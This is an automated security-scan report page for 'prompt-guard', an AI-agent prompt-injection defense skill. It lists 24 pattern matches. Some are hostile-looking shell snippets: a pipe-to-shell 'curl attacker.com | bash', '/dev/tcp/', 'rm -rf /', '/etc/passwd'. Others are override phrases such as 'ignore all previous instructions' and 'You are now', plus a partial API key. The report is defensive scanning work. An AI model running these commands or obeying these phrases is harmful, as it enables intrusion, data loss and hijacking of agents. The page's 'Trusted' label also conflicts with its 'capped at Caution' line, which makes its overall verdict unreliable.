Caveat verdict

prompt-guard

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

Accesses credentials AND encodes data

Skill is a security defense tool with 650+ patterns for detecting prompt injection and other attacks; the flagged eval/exec patterns and injection language appear in the pattern library being described, not as active malicious payloads.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
70
transparency
90
maintenance

What it does

These are capability combinations: each listed behavior occurs in the skill, but Caveat detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.

Capability combination high

Accesses credentials AND encodes data — may obfuscate stolen credentials

LLM02 · ASI03 · ASI04

Permission integrity

Code accesses API keys/tokens but declares no environment variables

credential_access

Findings (24)

Pattern match critical

Pipe to bash — executes piped content as shell commands

README.md · code · | bash

Pattern match critical

Prompt injection — tries to override agent instructions

blog/how-i-secured-my-ai-agent.md · code · ignore all previous instructions

Pattern match critical

Bash /dev/tcp — raw TCP connection via shell

README.md · code · /dev/tcp/

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

README.md · code · curl attacker.com | bash

Pattern match critical

Unicode homoglyph detected — uses lookalike characters to evade pattern matching

tests/test_detect.py · prose

Pattern match high

Uses eval() — can execute arbitrary code

ARCHITECTURE.md · prose · downgraded · eval(

Pattern match high

Possible prompt injection — attempts to redefine agent identity

README.md · code · You are now

Pattern match high

Pipe to sh — executes piped content as shell commands

patterns/critical.yaml · prose · downgraded · |sh

Pattern match high

Accesses .ssh directory

README.md · code · .ssh/

Pattern match high

Accesses sensitive system files

patterns/high.yaml · prose · downgraded · /etc/passwd

Pattern match high

Possible hardcoded credential

prompt_guard/api_client.py · prose · downgraded · API_KEY = "pg_beta_c789eb46c8fd191e7f6cc0e818f076e29c849576c7d4754a

Pattern match high

Dynamic __import__('os') — Python OS command execution

RELEASE-v3.6.0.md · prose · downgraded · __import__('os')

Pattern match high

Recursive delete from root or home — destructive command

tests/test_detect.py · prose · downgraded · rm -rf /

Pattern match medium

References sudo — requests elevated privileges

SKILL.md · prose · downgraded · SUDO

Pattern match medium

References SSH/GPG private keys

ARCHITECTURE.md · prose · downgraded · ssh_key

Pattern match medium

Instructs covert action — may act without user awareness

patterns/critical.yaml · prose · downgraded · quietly

Pattern match medium

subprocess execution — runs system commands from Python

tests/test_detect_cli.py · prose · downgraded · subprocess.run(

Pattern match medium

Hex-encoded string — possible obfuscated payload

tests/test_detect.py · prose · downgraded · \x69\x67\x6e\x6f\x72\x65

Pattern match low

References tunneling service

SKILL.md · prose · downgraded · ngrok

Pattern match low

References agent memory files

SKILL.md · prose · downgraded · MEMORY.md

Pattern match low

Popular HTTP library — network access

blog/how-i-secured-my-ai-agent.md · prose · downgraded · got

Pattern match low

Python urllib.request — network access

prompt_guard/api_client.py · prose · downgraded · urllib.request

Pattern match low

Python os.environ.get — reads environment variable

prompt_guard/api_client.py · prose · downgraded · os.environ.get(

Pattern match low

Base64 encoding/decoding

tests/test_detect.py · prose · downgraded · base64_decode

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

credential_accessdata_encoding
Check another skill Browse the registry Auditing your own skills or configs? Use the API